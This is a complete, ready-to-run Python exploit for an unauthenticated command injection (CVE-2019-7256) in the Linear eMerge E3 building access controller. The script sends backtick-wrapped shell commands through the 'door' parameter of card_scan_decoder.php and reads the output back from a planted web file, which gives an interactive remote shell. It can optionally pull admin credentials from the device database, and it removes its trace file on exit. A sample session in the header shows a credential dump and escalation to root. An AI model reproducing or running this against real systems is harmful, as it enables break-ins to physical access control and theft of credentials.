Linear eMerge E3 1.00-06 card_scan_decoder.php Command Injection

`#!/usr/bin/env python  
#  
# Linear eMerge E3 Unauthenticated Command Injection Remote Root Exploit  
# Affected version: <=1.00-06  
# via card_scan_decoder.php  
# CVE: CVE-2019-7256  
# Advisory: https://applied-risk.com/resources/ar-2019-005  
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system  
#  
# By Gjoko 'LiquidWorm' Krstic  
#  
#########################################################################  
# lqwrm@metalgear:~/stuff$ python emergeroot2.py 192.168.1.2  
# Do you want me to try and get the web front-end credentials? (y/n) y  
# ID='admin',Password='MakeLoveNotWar!'  
#  
# [email protected]:/spider/web/webroot$ id  
# uid=1003(lighttpd) gid=0(root)  
#  
# [email protected]:/spider/web/webroot$ cat /etc/version  
# Software Version: 1.00.03  
# Image: nxgcpub-image  
# Built by: jenkins  
#  
# [email protected]:/spider/web/webroot$ echo davestyle |su -c id  
# Password:   
# uid=0(root) gid=0(root) groups=0(root)  
#  
# [email protected]:/spider/web/webroot$ exit  
#  
# [+] Erasing read stage file and exiting...  
# [+] Done. Ba-bye!  
#  
#########################################################################  
  
import requests  
import time####  
import sys#####  
import os######  
import re######  
  
piton = os.path.basename(sys.argv[0])  
  
if len(sys.argv) < 2:  
print '''  
.....   
.e$$$$$$$$$$$$$$e.   
z$$ ^$$$$$$$$$$$$$$$$$.   
.$$$* J$$$$$$$$$$$$$$$$$$$e   
.$" .$$$$$$$$$$$$$$$$$$$$$$*-   
.$ $$$$$$$$$$$$$$$$***$$ .ee"   
z**$$ $$r ^**$$$$$$$$$*" .e$$$$$$*"   
" -\e$$ 4$$$$. .ze$$$""""   
4 z$$$$$ $$$$$$$$$$$$$$$$$$$$"   
$$$$$$$$ .$$$$$$$$$$$**$$$$*"   
z$$" $$ $$$$P*"" J$*$$c   
$$" $$F .$$$ $$ ^$$   
$$ *$$c.z$$$ $$ $$   
$P $$$$$$$ 4$F 4$   
dP *$$$" $$ '$r   
.$ J$" $"   
$ $P 4$   
F $$ 4$   
4$% 4$   
$$ 4$   
d$" $$   
$P $$   
$$ $$   
4$% $$   
$$ $$   
d$ $$   
$F "3   
r=4e=" ... ..rf . ""%   
$**$*"^""=..^4*=4=^"" ^"""  
'''  
print '\n\x20\x20[+] Linear eMerge E3 Remote Root Exploit'  
print '\x20\x20[-] by lqwrm (c) 2019'  
print '\n\x20\x20[*] Usage: '+piton+' <ipaddress:port>\n'  
sys.exit()  
  
ipaddr = sys.argv[1]  
  
creds = raw_input('Do you want me to try and get the web front-end credentials? (y/n) ')  
if creds.strip() == 'y':  
frontend = '''grep "Controller" /tmp/SpiderDB/Spider.db |cut -f 5,6 -d ',' |grep ID'''  
requests.get('http://'+ipaddr+'/card_scan_decoder.php?No=30&door=%60'+frontend+' > test.txt%60')  
showme = requests.get('http://'+ipaddr+'/test.txt')  
print showme.text  
  
while True:  
try:  
cmd = raw_input('lighttpd@'+ipaddr+':/spider/web/webroot$ ')  
execute = requests.get('http://'+ipaddr+'/card_scan_decoder.php?No=30&door=%60'+cmd+' > test.txt%60')  
#time.sleep(1);  
readreq = requests.get('http://'+ipaddr+'/test.txt')  
print readreq.text  
if cmd.strip() == 'exit':  
print "[+] Erasing read stage file and exiting..."  
requests.get('http://'+ipaddr+'/card_scan_decoder.php?No=30&ReaderNo=%60rm test.txt%60')  
print "[+] Done. Ba-bye!\n"  
break  
else: continue  
except Exception:  
break  
  
sys.exit()  
`